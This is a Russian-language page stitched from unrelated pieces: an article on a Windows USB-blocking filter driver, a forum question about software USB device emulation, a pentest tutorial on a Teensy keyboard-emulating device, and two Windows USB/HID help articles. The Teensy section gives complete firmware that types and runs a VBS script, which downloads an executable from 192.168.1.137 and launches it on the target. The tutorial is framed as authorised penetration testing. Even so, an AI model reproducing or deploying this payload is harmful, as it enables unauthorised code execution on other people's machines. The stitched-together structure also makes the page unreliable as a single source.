Драйвер может имитировать физически не подключенное устройство
Вряд ли пользователь домашнего ПК заинтересуется тем, чтобы блокировать устройства на своем ПК. Но если дело касается корпоративной среды, то все становится иначе. Есть пользователи, которым можно доверять абсолютно во всем, есть такие, которым можно что-то делегировать, и есть те, кому доверять совсем нельзя. Например, вы заблокировали доступ к Интернету одному из пользователей, но не заблокировали устройства этого ПК. В таком случае пользователю достаточно просто принести USB-модем, и Интернет у него будет. Т.е. простым блокированием доступа к Интернету дело не ограничивается.
Однажды примерно такая задача и стояла передо мной. Времени на поиск каких-либо решений в Интернете не было, да и они, как правило, небесплатные. Поэтому мне было проще написать такой драйвер, и его реализация отняла у меня один день.
Структура DRIVER_OBJECT
Для каждого загруженного драйвера система формирует структуру DRIVER_OBJECT. Этой структурой система активно пользуется, когда отслеживает состояние драйвера. Также драйвер отвечает за ее инициализацию, в частности за инициализацию массива MajorFunction. Этот массив содержит адреса обработчиков для всех запросов, за которые драйвер может отвечать. Следовательно, когда система будет посылать запрос драйверу, она воспользуется этим массивом, чтобы определить, какая функция драйвера отвечает за конкретный запрос. Ниже представлен пример инициализации этой структуры.
Такая инициализация обычно выполняется при вызове системой точки входа драйвера, прототип которой изображен ниже.
Как видно из примера, сначала весь массив MajorFunction инициализируется одним и тем же обработчиком. В реальности типов запросов больше, чем в примере. Поэтому предварительно весь массив инициализируется так, чтобы запросы, которые не поддерживаются драйвером, обрабатывались корректно. Например, завершались с ошибкой. После инициализации массива обычно инициализируются обработчики для тех запросов, за которые драйвер отвечает.
Также инициализируется поле DriverUnload структуры, которое содержит адрес обработчика, отвечающего за завершение работы драйвера. Это поле может быть оставлено непроинициализированным, в таком случае драйвер становится невыгружаемым.
Обратите внимание на то, что в поле DriverExtension->AddDevice устанавливается адрес обработчика, который вызывается всякий раз, когда система обнаруживает новое устройство, за работу которого драйвер отвечает. Данное поле может быть оставлено непроинициализированным, в таком случае драйвер не сможет обрабатывать это событие.
Структура DEVICE_OBJECT
Структура DEVICE_OBJECT представляет ту или иную функциональность драйвера. Т.е. эта структура может представлять физическое устройство, логическое устройство, виртуальное устройство или просто некий функционал, предоставляемый драйвером. Поэтому когда система будет посылать запросы, то в самом запросе она будет указывать адрес этой структуры. Таким образом, драйвер сможет определить, какой функционал от него запрашивается. Если не использовать такую модель, тогда драйвер может обрабатывать только какую-нибудь одну функциональность, а в современном мире это недопустимо. Прототип функции, которая обрабатывает конкретный запрос, приведена ниже.
Массив MajorFunction ранее упомянутой структуры DRIVER_OBJECT содержит адреса обработчиков именно с таким прототипом.
Сама структура DEVICE_OBJECT всегда создается драйвером при помощи функции IoCreateDevice. Если система посылает запрос драйверу, то она всегда направляет его какому-либо DEVICE_OBJECT, как это следует из вышепредставленного прототипа. Также, прототип принимает второй параметр, который содержит адрес IRP-структуры. Эта структура описывает сам запрос, и она существует в памяти до тех пор, пока драйвер не завершит его. Запрос отправляется драйверу на обработку при помощи функции IoCallDriver как системой, так и другими драйверами.
Также со структурой DEVICE_OBJECT может быть связано имя. Таким образом, этот DEVICE_OBJECT может быть найден в системе.
Фильтрация
Фильтрация являет собой механизм, который позволяет перехватывать все запросы, направленные к конкретному DEVICE_OBJECT. Чтобы установить такой фильтр, необходимо создать другой экземпляр DEVICE_OBJECT и прикрепить его к DEVICE_OBJECT, запросы которого необходимо перехватывать. Прикрепление фильтра выполняется посредством функции IoAttachDeviceToDeviceStack. Все DEVICE_OBJECT, прикрепленные к перехватываемому DEVICE_OBJECT, вместе с ним формируют так называемый стек устройства, как это изображено ниже.
Стрелкой изображено продвижение запроса. Сначала запрос будет обрабатываться драйвером верхнего DEVICE_OBJECT, затем драйвером среднего и, в конце концов, управление на обработку запроса получит драйвер целевого DEVICE_OBJECT. Также нижний DEVICE_OBJECT называется дном стека, т.к. он ни к кому не прикреплен.
Наличие такого механизма позволяет добавлять функционал, которого нет изначально в драйверах. Например, таким образом, без доработки файловой системы FAT, поставляемой в Windows, можно добавить проверку прав доступа к файлам этой файловой системы.
PnP менеджер
PnP менеджер отвечает за диспетчеризацию устройств всей системы. В его задачи входит обнаружение устройств, сбор информации о них, загрузка их драйверов, вызов этих драйверов, управление аппаратными ресурсами, запуск и остановка устройств и их удаление.
Когда драйвер той или иной шины обнаруживает устройства на своих интерфейсах, то для каждого дочернего устройства он создает DEVICE_OBJECT. Этот DEVICE_OBJECT также называют Physical Device Object или PDO. Затем посредством функции IoInvalidateDeviceRelations он уведомляет PnP менеджер о том, что произошли изменения на шине. В ответ на это PnP менеджер посылает запрос с minor кодом IRP_MN_QUERY_DEVICE_RELATIONS с целью запросить список дочерних устройств. В ответ на этот запрос драйвер шины возвращает список PDO. Ниже изображен пример такой ситуации.
Как отражено на рисунке, в данном примере в качестве шины выступает драйвер USB-хаба. Конкретные DEVICE_OBJECT стека устройства этого хаба не изображены для краткости и с целью сохранения последовательности пояснений.
Как только PnP менеджер получит список всех PDO, он по отдельности соберет всю необходимую информацию об этих устройствах. Например, будет послан запрос с minor кодом IRP_MN_QUERY_ID. Посредством этого запроса PnP менеджер получит идентификаторы устройства, как аппаратные, так и совместимые. Также PnP менеджер соберет всю необходимую информацию о требуемых аппаратных ресурсах самим устройством. И так далее.
После того, как вся необходимая информация будет собрана, PnP менеджер создаст так называемую DevNode, которая будет отражать состояние устройства. Также PnP создаст ветку реестра для конкретного экземпляра устройства или откроет существующую, если устройство ранее подключалось к ПК.
Следующая задача PnP — это запуск драйвера устройства. Если драйвер не был ранее установлен, тогда PnP будет ожидать установки. Иначе, при необходимости, PnP загрузит его и передаст ему управление. Ранее упоминалось, что поле DriverExtension->AddDevice структуры DRIVER_OBJECT содержит адрес обработчика, который вызывается всякий раз, когда система обнаруживает новое устройство. Прототип этого обработчика изображен ниже.
В задачу обработчика входит создание DEVICE_OBJECT и его прикрепление к PDO. Прикрепленный DEVICE_OBJECT также называют Functional Device Object или FDO. Именно этот FDO и будет отвечать за работу устройства и представление его интерфейсов в системе. Ниже представлен пример, когда PnP завершил вызов драйвера, отвечающего за работу устройства.
В этот момент стеки устройств полностью сформированы и готовы к работе. Поэтому PnP посылает запрос с minor кодом IRP_MN_START_DEVICE. В ответ на этот запрос все драйвера стека устройства должны подготовить устройство к работе. И если в этом процессе не возникло проблем, тогда запрос завершается успешно. В противном случае, если любой из драйверов не может запустить устройство, тогда он завершает запрос с ошибкой. Следовательно, устройство не будет запущено.
Также, когда драйвер шины определяет, что произошли изменения на шине, он посредством функции IoInvalidateDeviceRelations уведомляет PnP о том, что следует заново собрать информацию о подключенных устройствах. В этот момент драйвер не удаляет ранее созданный PDO. Просто при получении запроса с minor кодом IRP_MN_QUERY_DEVICE_RELATIONS он не включит этот PDO в список. Затем PnP на основании полученного списка опознает новые устройства и устройства, которые были отключены от шины. PDO отключенных устройств драйвер удалит тогда, когда PnP пошлет запрос с minor кодом IRP_MN_REMOVE_DEVICE. Для драйвера этот запрос означает, что устройство более никем не используется, и оно может быть безопасно удалено.
Суть решения
Как следует из примера, мы создаем DEVICE_OBJECT и прикрепляем его к PDO. Таким образом, мы будем перехватывать все запросы, направленные к USB-шине.
В нашу задачу входит перехватывать запросы с minor кодом IRP_MN_START_DEVICE. Код обработчика этого запроса изображен ниже.
Как изображено на рисунке, обработчик вызывает функцию UsbIsDeviceAllowedToWork. Эта функция выполняет все необходимые проверки, чтобы определить, разрешено ли устройству работать. В первую очередь функция позволяет всегда работать хабам и композитным устройствам, клавиатурам и мышам. А также тем устройствам, которые находятся в списке разрешенных. Если функция возвращает неуспешный код возврата, тогда запрос завершается с ошибкой. Таким образом, работа устройства будет заблокирована.
Обратите внимание: функция определяет, является ли устройство хабом или композитным устройством. Это необходимо потому, что, как уже было упомянуто, класс устройств, который используется для хабов и хост контроллеров, используется не только этими устройствами. А нам в первую очередь необходимо контролировать дочерние устройства только хабов, хост контроллеров и композитных устройств. Т.е. для хабов и композитных устройств дополнительно перехватывается запрос перечисления дочерних устройств, на этом этапе, важно также прикрепить ко всем дочерним устройствам фильтр, и этот фильтр будет нижним. В противном случае контроль над дочерними устройствами будет потерян.
Все упомянутые определения выполняются на основе идентификаторов устройств.
Заключение
Несмотря на свою простоту в моем случае данный драйвер достаточно эффективно решает поставленную задачу. Хотя из недостатков следует выделить обязательную перезагрузку после того, как список разрешенных устройств будет обновлен. Чтобы устранить этот недостаток, драйвер потребуется несколько усложнить. Еще большим недостатком является полное блокирование устройства, а не частичное. Описание, представленное выше, не раскрывает всех деталей реализации. Сделано это было намеренно, и упор был сделан больше на саму концепцию. Желающие разобраться во всем до конца могут ознакомиться с исходным кодом.
Добрейшего времени суток!
Вопрос по сути простой, по факту (для меня сложный): возможна ли эмуляция USB и USB-HID устройств в Windows без фактического их подключения ?
Разновсяческая инфа, гуляющая по просторам сети, так или иначе сводится к созданию некого хардварного устройства, которое потом перепрошивается и выдает себя за то или иное устройство, которое и распознает Windows. Можно ли каким-либо образом заставить Windows "увидеть/видеть новое устройство" без фактического использования сторонней аппаратуры (чисто программным способом)?
На данный момент нужно сэмулировать четыре устройства:
USB клавиатуру
USB мышь
USB Web-камеру
USB микрофон
Таким образом, чтобы можно было им управлять из запущенного приложения в Windows.
Спасибо.
ЗЫ: Убедительная просьба - воздержаться оценок моральной стороны вопроса, моей недостаточной компетенции, политической ситуации в Гондурасе, и т.п.
Не тратте попусту электричество, это лишнее. Умоляю - давайте по-существу
Много не скажу, но: учитывая, что можно перебрасывать USB-утройства из "настоящей" машины в виртуальную (например, VmWare так умеет), то ответ "скорее всего, возможно".
За деталями можно попробовать сходить на RSDN, там есть ветка "Низкоуровневое программирование".
Много не скажу, но: учитывая, что можно перебрасывать USB-утройства из "настоящей" машины в виртуальную (например, VmWare так умеет), то ответ "скорее всего, возможно".
Перебрасывает существующие физически USB-устройства. А это существенно. Если бы ВмВарь могла бы присоединять виртуальный USB-HDD с реальным контейнером в виде файла, вопросов бы совсем не было. А так .
Если бы ВмВарь могла бы присоединять виртуальный USB-HDD с реальным контейнером в виде файла, вопросов бы совсем не было. А так .
А разве вообще есть вопросы ?
Что делает любой драйвер (или их совокупность) в конечном итоге?
Он виртуализирует некое физическое устройство и представляет его
как совокупность неких системных вызовов.
Программа, пишущая в файл или в COM-порт(как в файл), не знает, каким образом
реализован конкретный файл. Это устройство USB, плата в PCI или
дивайс чипсета материнской платы на шине процессора.
Это значит, можно написать драйвер, который прикинется стандартным
устройством. Клавиатурой, например.
А на самом деле будет принимать пакеты из сети.
Кстати, устройств ввода может быть несколько одинаковых
и все будут исправно функционировать одновременно, не мешая друг другу.
---
На эту тему лучше поговорить со специалистами по написанию драйверов.
За последние годы многие стали с некоторой осторожностью относиться к съемным носителям данных. И вполне обоснованно. Ведь все так или иначе встречались с autorun.inf в корне флешки. Но, к сожалению, автозапуск с носителя – далеко не единственный вектор атаки при подключении устройства. При проведении внутренних тестов на проникновение нередко возникает необходимость проверить и продемонстрировать заказчику все возможные векторы, в том числе обход device-lock’ов.
Под катом рассмотрим пример устройства на arduino-подобном МК, эмулирующего HID-клавиатуру, с последующим выполнением кода на атакуемой системе.
Вектор атаки лежит на стыке технологии и социальной инженерии, а именно, требует от потенциального злоумышленника возможности физически подключить устройство, которое “притворится” устройством ввода и самостоятельно выполнит необходимые действия. Все вышеописанное перестает выглядеть фантастично, стоит лишь вспомнить про великое множество полезных и не очень usb-девайсов неизвестного происхождения, которые служащие, бывает, подключают к своим рабочим станциям. Не стоит всегда полагаться на утиный тест: здесь не все, что выглядит как флешка, флешкой и является.
Железо
В качестве аппаратной платформы будем использовать Teensy USB Development Board, а именно Teensy 2.0.
- Поддержка USB
- Маленькие габариты
- Небольшая стоимость($16)
- Совместимость с Arduino
Сама идея эмулировать микроконтроллером нажатия клавиш на клавиатуре не нова, и в помощь нам существует масса готовых решений. В частности, получить код прошивки можно несколькими путями.
Social Engineering Toolkit
Kautilya
Как и модуль из SET, представляет собой генератор кода прошивки, но, в отличие от вышеупомянутого, содержит значительно больше разнообразных нагрузок и активно развивается энтузиастом по имени Nikhil Mittal. Например, в версии 0.2.1 содержится 20 различных вариантов полезной нагрузки для Windows и 3 для Linux. Но большая часть функционала основана на манипуляциях с Power-Shell, что, мягко говоря, затрудняет эксплуатацию в Windows XP.
Написать код самим
Для удобства можно использовать библиотеку phukdlib, созданную пионером в области «teensy-вектора», человеком по имени Adrian Crenshaw (Irongeek). В ней реализовано несколько рутинных операций, например, открытие командной строки, реализованное для различных ОС.
Какой бы способ мы ни выбрали, в итоге у нас будет файл с кодом нашей прошивки, который надо чем-то скомпилировать и залить в МК. Для этого качаем и устанавливаем Arduino и teesyduino — дополнение для ардуино, добавляющее поддержку сборки под нашу платформу, а также десятки полезных примеров.
Саму среду достаточно просто распаковать из архива, и она уже готова к запуску. В процессе установки teensyduino установится также USB Serial driver, и будет предложено выбрать дополнительные библиотеки для работы со всевозможной периферией, от сервоприводов до GPS-приемников. Для нашей сегодняшней задачи ни одна из них не понадобится, но все они сами по себе достаточно любопытны и сопровождаются примерами кода.
Теперь запускаем и выбираем тип платы.
Эмулировать мы будем устройства ввода, так что выбираем соответствующий тип USB.
Итак, скромный инструментарий готов, и можно приступать к написанию программы.
Let's rock!
Зададим глобальные переменные
int ledPin = 11; //номер пина, на который уже разведен светодиод
int complete_flag =0; //флаг, указывающий, что один цикл программы уже выполнился
Перед основным циклом единожды выполняется функция Setup(). В ней мы приветственно поморгаем светодиодом, а заодно дадим несколько секунд на инициализацию HID-устройства системой.
void setup() pinMode(ledPin, OUTPUT);
for(int i=0;i <=2;i++)
delay(1000);
digitalWrite(ledPin,HIGH);
delay(1000);
digitalWrite(ledPin,LOW);
> >
Для начала вызовем стандартный диалог выполнения команд, «нажав» хоткей Win+R.
void loop() if(!complete_flag)
Keyboard.set_modifier(MODIFIERKEY_LEFT_GUI);
Keyboard.set_key1(KEY_R);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
Подождем немного, пока диалог откроется. Здесь и далее в этом примере используется задержка продолжительностью в 1 секунду — значение, неоправданно большое для реальных условий и зависящее от отзывчивости системы (бывает, что и блокнот открывается полминуты).
Теперь, когда перед нами открылся текстовый редактор, «наберем» VBS-скрипт, который скачает и запустит приложение со стороннего сервера.
Keyboard.println("Set xml=CreateObject(\"Microsoft.XMLHTTP\")");
Keyboard.println("xml.Open \"GET\",\"http://192.168.1.137/calc.\"&\"exe\",False");
Keyboard.println("xml.Send");
Keyboard.println("set oStream=createobject(\"Adodb.Stream\")");
Keyboard.println("Const adTypeBinary=1");
Keyboard.println("Const adSaveCreateOverWrite=2");
Keyboard.println("Const adSaveCreateNotExist=1 ");
Keyboard.println("oStream.type=1");
Keyboard.println("oStream.open");
Keyboard.println("oStream.write xml.responseBody");
Keyboard.println("oStream.savetofile \"C:\\payload.\"&\"exe\", 2");
Keyboard.println("oStream.close");
Keyboard.println("Set wshShell=CreateObject(\"WScript.Shell\")");
Keyboard.println("WshShell.Exec (\"C:\\payload.\"&\"exe\")");
Сохраним полученное в корне диска С (Alt+F4 -> Enter -> вводим имя файла -> Enter).
Keyboard.set_modifier(MODIFIERKEY_LEFT_ALT);
Keyboard.set_key1(KEY_F4);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
delay(1000);
Keyboard.println("");
delay(1000);
Keyboard.println("c:\\getpayload.vbs");
Как и ранее, Win+R, и запускаем только что созданный скрипт.
Keyboard.set_modifier(MODIFIERKEY_LEFT_GUI);
Keyboard.set_key1(KEY_R);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
delay(1000);
Keyboard.println("c:\\getpayload.vbs");
complete_flag = 1;
> >
Настало время залить все это в teensy. Для этого просто жмем кнопку Upload, и после завершения компиляции перед нами предстанет окошко teensy-loader’а. Остается подключить нашу плату по USB и нажать единственную кнопку. После прошивки микроконтроллер автоматически перезагрузится и начнет выполнение программы.
Action!
Windows
Всякий раз, когда мы подключаем USB-флешку на любом внешнем жестком диске к нашему компьютеру с Windows, он монтируется, и мы можем получить к нему доступ и выполнить на нем файловые операции. Когда мы завершаем нашу работу, чтобы отключить его, а не напрямую извлекать его, рекомендуется использовать параметр Безопасное извлечение устройства или Извлечь диск . Это гарантирует, что любые незавершенные файловые операции будут завершены, а повреждение данных исключено. Только после того, как будет безопасно отключить USB, мы должны физически удалить USB.
Но что, если мы почувствуем необходимость снова использовать СМИ? Мы должны будем соединить это физически. А что если мы использовали опцию «Извлечь носитель», чтобы отключить носитель, но не отключили его физически, и теперь вы хотите снова использовать носитель?
Обычно вы физически отключаете USB и после нескольких секунд ожидания снова подключаете его. Это нормально, если вы находитесь на ноутбуке, но это может быть утомительно, если вы находитесь на рабочем столе, а ваш процессор находится в нечетном месте или, возможно, под вашим столом. В таких случаях физическое отключение и повторное подключение может стать утомительной задачей.
К сожалению, Windows не предлагает функцию, позволяющую легко перемонтировать извлеченный USB-накопитель или носитель. Но если вам когда-либо понадобится перемонтировать извлеченный USB-накопитель, не подключая его физически, выполните эту процедуру.
Перемонтировать извлеченный USB-накопитель
В Windows 10/8 щелкните правой кнопкой мыши кнопку «Пуск», чтобы открыть меню WinX. Выберите Диспетчер устройств . Прокрутите вниз до ввода USB Mass Storage Device с желтым восклицательным знаком. Щелкните правой кнопкой мыши и выберите «Свойства».
Вы увидите статус устройства на вкладке Общие, упоминаемый как:
Windows не может использовать это аппаратное устройство, поскольку оно было подготовлено для «безопасного удаления», но не было удалено с компьютера. (Код 47) Чтобы устранить эту проблему, отключите это устройство от компьютера, а затем снова подключите его.
Хорошо, нажмите правой кнопкой мыши на этом USB Mass Storage Device и выберите Отключить .
Вы увидите это окно подтверждения. Нажмите Да .
Теперь снова щелкните правой кнопкой мыши на записи USB Mass Storage Device. На этот раз вам будет предложен вариант Включить . Нажмите здесь.
Вы увидите следующее диалоговое окно. Не перезагружайте компьютер. Выберите вариант Нет .
Это все, что вам нужно сделать! Отключить, а затем включить устройство! Проверьте папку Мой компьютер , и вы увидите, что этот USB перемонтирован и предлагается.
Это сработало для меня, и я уверен, что это должно сработать и для вас.
Этот вариант намного лучше, чем физическое отключение и повторное подключение устройства, но я был бы рад, если бы Microsoft предложила простой способ перемонтировать извлеченный USB-накопитель или носитель вместе с опцией «Извлечь носитель».
Драйверы
Если по какой-то причине вы отключили сенсорный экран Windows PC, потому что он не работает с установленной версией Windows 10, и позже вы обнаружите, что он не может быть включен, это будет разочаровывать. Windows 8.1 на самом деле не так хороша, как Windows 10, когда дело касалось сенсорного управления. Windows 10 имеет прочную интеграцию для сенсорных и таких аксессуаров, как цифровая ручка. В то время как обычный способ отключения и включения – через Human Interface Device или HID в Диспетчере устройств, если HID-совместимый сенсорный экран больше не доступен в Диспетчере устройств, вот исправление.
Если вы посмотрите на скриншот ниже, вы увидите тонны HID листинга. То, что выглядит как несколько устройств, является копиями оригинальных устройств и называется Ghost Devices. Это ранее установленные устройства, которые больше не включены, но драйверы все еще присутствуют в компьютере.
Отсутствует HID-совместимый драйвер сенсорного экрана
Выполните следующие действия, чтобы включить сенсорный экран, и переустановите драйвер сенсорного экрана, если он перестал работать.
Запустите средство устранения неполадок оборудования
Windows 10 поставляется с выделенным разделом устранения неполадок, который может решить большинство распространенных проблем. Когда вы запускаете средство устранения неполадок оборудования, оно проверяет фактически подключенное оборудование и удаляет остальные из них. Непосредственно перед тем, как начать, если это внешнее сенсорное устройство, обязательно подключите его.
- Перейдите в Настройки> Обновление и безопасность> Устранение неполадок.
- Нажмите «Оборудование и устройства» и запустите средство устранения неполадок.
- Это откроет новое окно, и просто следуйте инструкциям впредь.
- Это удалит все устройства Ghost.
- Теперь щелкните правой кнопкой мыши на списке устройств HID слева и включите его.
Как переустановить HID-совместимый драйвер сенсорного экрана
Возможно, что драйверы никогда не были установлены для устройства, потому что оно было отключено, и теперь его нельзя включить, если вы не установите правильные драйверы.
Лучше всего обновлять драйверы через Центр обновления Windows . Большинство OEM-производителей теперь поставляют обновление через канал доставки Windows Update, и они проверены на совместимость. Итак, зайдите в Настройки> Обновление и безопасность и запустите программу обновления, чтобы увидеть, есть ли обновление. Возможно, что Windows предложит это как дополнительное обновление, но установите его, особенно если это для вашего HID.
Если драйвер недоступен, вы всегда можете загрузить его с сайта OEM . Как только он у вас будет, вы сможете запустить его напрямую, чтобы снова установить на свое устройство.
Удалить ненужные драйверы из Windows 10
Последний совет – удалить ненужные драйверы, которые были пропущены средством устранения неполадок оборудования или они просто продолжают появляться. Это будет немного подробно, поэтому будьте осторожны. И да, вам нужны права администратора для всего этого.
- Откройте командную строку с правами администратора.
- Введите set devmgr_show_nonpresent_devices = 1 и нажмите Enter. Для этого не будет выходных данных, поскольку вы просто включаете настройку, чтобы скрытые устройства отображались в диспетчере устройств.
- Затем введите devmgmt.msc и нажмите Enter, чтобы запустить консоль диспетчера устройств Windows.
- В консоли диспетчера устройств в меню Вид выберите Показать скрытые устройства .
Это покажет вам список устройств, драйверов и служб, которые не были установлены или удалены должным образом. Вы можете найти устройство-нарушитель, щелкнуть правой кнопкой мыши и выбрать удалить , чтобы полностью удалить его из системы. Обратите внимание, что если устройства серого цвета, не удаляйте их. Удалите только те, которые, по вашему мнению, вызывают проблемы. Кроме того, обязательно удалите один и проверьте, а затем вернитесь, если он не работает.
Читайте также: